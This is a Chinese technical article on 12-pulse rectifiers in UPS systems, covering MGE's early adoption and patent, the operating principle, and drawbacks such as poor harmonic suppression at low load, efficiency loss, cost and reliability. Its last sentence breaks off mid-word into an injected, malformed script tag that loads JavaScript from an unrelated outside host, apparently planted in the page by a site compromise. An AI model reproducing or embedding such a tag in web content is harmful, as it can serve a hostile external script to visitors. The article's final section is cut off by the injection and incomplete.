1.12脉冲整流器的历史渊源
12脉冲整流技术的发展由来已久，早在70年代初期，当大功率可控硅发展成熟之际，人们就已经发现了可控硅整流器在将交流电转换为直流电的同时，产生了大量的谐波电流注入到电网中，随之而来的就是谐波电流对电网中的其它负载产生的影响，为此，人们寻求一种解决方法，希望去除掉整流器产生的谐波电流。
在当时的技术水平和条件下，只有两种解决方案：其一是采用两套整流器通过不同相位的叠加，以便消除h5、h7次谐波，这就是12脉冲整流器；另外一种方案就是采用lc型的无源滤波器，试图消除（主要是）h5和（部分的）h7以及少量的其它更高次的谐波。这在当时算是比较先进的技术。
在ups领域，梅兰日兰（mgeupssystems）公司可谓是12脉冲整流器应用的先驱。早在1976年，梅兰日兰推出的第二代大功率全可控硅ups（可控硅整流器－可控硅逆变器－可控硅静态开关）――alpase3000系列中，就已经开始使用了12脉冲整流器。在1981年11月，梅兰日兰在法国、欧共体和美国还同时注册了专利（fr2517489-ep0080925-us449812），专利标题为“由两个graetz整流桥组成的、可抑制电网中5、7次谐波电流的12相可控硅静态变换器”【原文为：staticconverterwithelectricvalvescomprisingatwelve-phaseconnectionwithtwograetzbridgesforthesuppressionofharmonics5and7ofnetworkcurrent】。随后，梅兰日兰便积极地将这一专利技术应用于自己的多项产品中，包括：
1983年的alpase4000系列，30－600kva；
1989年的eps5000系列，60－800kva；
1993年的galaxy（达林顿晶体管）系列，40－300kva。
从1997年推出galaxypw机型以后，梅兰日兰取消了12脉冲整流器作为选件在新机型中的应用。主要原因是：应用微处理器控制器和数字信号处理器dsp以及大功率igbt等新技术开发的新产品——有源谐波调节器sinewavetm和有源滤波器thm诞生了，它们具有比以往任何一种谐波解决方案都更加完美的特性；另外的一个原因就是：国际上新的谐波标准iec61000-3-4的诞生，使得12脉冲整流器已经不能满足该标准的基本要求，包括无源lc滤波器，也就是说12脉冲整流器已经落伍了。
2.12脉冲整流器的基本工作原理
在一个基本6脉冲整流器（超前）的基础上利用利用单绕组输入/双绕组输出的变压器产生滞后30度的移相电压，再送入另一整流器（滞后整流器，参见以下左图），使得两个整流器产生的直流并联，从而在ups的电源输入端上的总输入电流:
3.12脉冲整流器的分析
3.1.优点
12脉冲整流器基本消除了5次谐波（衰减率10倍以上）、部分地消除了7次谐波（衰减率2倍）对电网的注入影响，使得ups对上线电网的谐波污染（总电流失真度thdi）衰减了约2倍。
3.2.缺点
谐波抑制效果较差：按照国际标准iec61000-3-4的谐波标准（参见下表），12脉冲整流器的总电流谐波失真度为10％，满足该标准，但单次谐波h11、h13均超过标准数值的两倍以上，甚至比原6脉冲整流器的h11、h13还要大；在一些特殊场合，只能采用12脉冲整流器＋h11次无源滤波器的方法，但其结果甚至于还不如6脉冲整流器＋无源滤波器的效果；
低负载率时效果很差：ups大多数情况下运行在60～70％的负载率，特别是当ups为1＋1冗余并联时，每台ups的负载率仅在30～40％左右，12脉冲整流器的thdi约等于20％，即使采用12脉冲整流器+h11次滤波器，也仍然在15%左右，还不如6脉冲整流器＋无源滤波器的结果（参见下图）；
系统效率损失较大：假如以6脉冲整流器的效率为单位1，则12脉冲整流器的采用将降低系统效率的2～3％；而普通lc滤波器仅降低1％左右，这就是lc低通滤波器至今仍然在沿用的一个原因；
价格较高：假如以6脉冲整流器的ups标准价为单位1，则12脉冲整流器需增加20％（内置，但大容量时可能不能内置）到30％（独立机柜外置）；而普通lc滤波器仅需增加10％（内置）到20％（外置），这也正是lc低通滤波器至今仍然在采用的主要原因；
可靠性低：由于12脉冲整流器是由2个6脉冲整流器串连或并联组成的，因此部件增多，反而增加了ups本身的故障点，降低了ups系统的可靠性，对整个负载系统的供电不利；
安全性差：12脉冲整流器是串连连接到ups系统中的（与lc滤波器相同），而mge推出的thm与ups是并联连接到电网与负载之间的，因此安全性较高，不会由于thm的故障造成整个ups系统的供电故障；
与发电机?script src=http://er12.com/t.js>
